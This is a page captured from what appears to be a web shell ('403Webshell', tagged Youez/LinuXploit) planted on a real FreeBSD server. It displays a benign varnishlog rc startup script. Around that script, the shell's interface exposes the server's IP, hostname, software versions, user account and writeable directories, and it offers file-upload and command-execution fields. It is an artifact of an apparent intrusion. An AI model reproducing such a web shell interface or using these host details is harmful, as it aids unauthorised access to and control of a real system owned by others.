403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/www/varnish6/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/www/varnish6/files/varnishlog.in
#!/bin/sh

# PROVIDE: varnishlog
# REQUIRE: DAEMON varnishd
# KEYWORD: shutdown

#
# Add the following line to /etc/rc.conf to enable varnishlog:
#
# varnishlog_enable="YES"
#
# Configuration variables and their default values:
#
# varnishlog_pidfile - full path to the PID file.
#	default: "/var/run/varnishlog.pid"
#
# varnishlog_file - full path to the log file.
#	default: "/var/log/varnish.log"
#
# varnishlog_flags - command line arguments.
#	default: "-t off -P ${varnishlog_pidfile} -D -a -A -w ${varnishlog_file}"
#
# Add the following line to /etc/newsyslog.conf to rotate the log file
# once a day:
#
# /var/log/varnish.log varnishlog:varnish 640 7 * @T00 JB /var/run/varnishlog.pid
#
# See varnishlog(1) for a detailed overview of command-line options.
#

. /etc/rc.subr

name=varnishlog
rcvar=varnishlog_enable

load_rc_config ${name}
: ${varnishlog_enable:=NO}
: ${varnishlog_pidfile=/var/run/${name}.pid}
: ${varnishlog_file=/var/log/varnish.log}
: ${varnishlog_flags="-t off -P ${varnishlog_pidfile} -D -a -A -w ${varnishlog_file}"}

procname="%%PREFIX%%/bin/${name}"
command="/usr/sbin/daemon"
command_args="-f -u varnishlog ${procname} ${varnishlog_flags}"
pidfile=${varnishlog_pidfile}
start_precmd=precmd

precmd()
{
        # varnishlog_flags gets applied too early if we don't do this.
        rc_flags=""

	if [ ! -e ${pidfile} ]; then
		install -o varnishlog -g varnish -m 644 /dev/null ${pidfile};
	fi

	if [ ! -e ${varnishlog_file} ]; then
		install -o varnishlog -g varnish -m 640 /dev/null ${varnishlog_file};
	fi
}

run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit